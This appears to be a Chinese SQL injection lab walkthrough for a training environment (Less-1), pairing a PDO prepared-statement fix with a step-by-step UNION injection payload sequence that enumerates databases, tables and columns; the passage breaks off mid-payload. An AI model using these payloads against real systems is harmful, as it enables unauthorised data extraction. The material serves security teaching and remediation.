
0. 基础共性与输入规范核心原理:未对用户输入做参数化绑定或类型转换,直接通过字符串拼接构造 SQL,攻击者通过闭合符号改变了 SQL 语法树结构。输入规范与避坑:浏览器 URL:直接敲空格或+;原生#会被浏览器作为锚点截断,必须用--+、-- -或%23。Burp Suite:请求行严禁原生空格(会导致400 Bad Request),必须用+或%20,注释符统一用%23。通用代码防御(生产级 PDO 预编译):PHP$pdo = new PDO("mysql:host=localhost;dbname=security;charset=utf8", "root", "root"); $stmt = $pdo-prepare("SELECT username, password FROM users WHERE id = :id LIMIT 0,1"); $stmt-execute(['id' = $_GET['id']]); $row = $stmt-fetch(PDO::FETCH_ASSOC);整型参数快速修复:$id = intval($_GET['id']);Less-1:单引号字符型 UNION 注入源码逻辑:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";漏洞特征:单引号包裹,页面开启回显位与mysql_error()报错。闭合方式:'利用流程与 Payload:Plaintext# 1. 探测闭合与报错 ?id=1' → 触发 SQL 语法报错 ?id=1'--+ → 页面恢复正常显示 # 2. 探测字段列数 ?id=1' ORDER BY 3--+ → 正常 ?id=1' ORDER BY 4--+ → 报错 Unknown column '4' → 确定为 3 列 # 3. 确定回显位(令 id=-1 迫使原查询为空) ?id=-1' UNION SELECT 1,2,3--+ # 回显:Your Login name: 2 / Your Password: 3 → 2、3 位可用 # 4. 提取当前数据库名与版本 ?id=-1' UNION SELECT 1,database(),version()--+ # 5. 提取所有数据库名 ?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata--+ # 6. 提取 security 库中的所有表名 ?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+ # 回显:emails,referers,uagents,users # 7. 提取 users 表中的所有列名 ?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_sche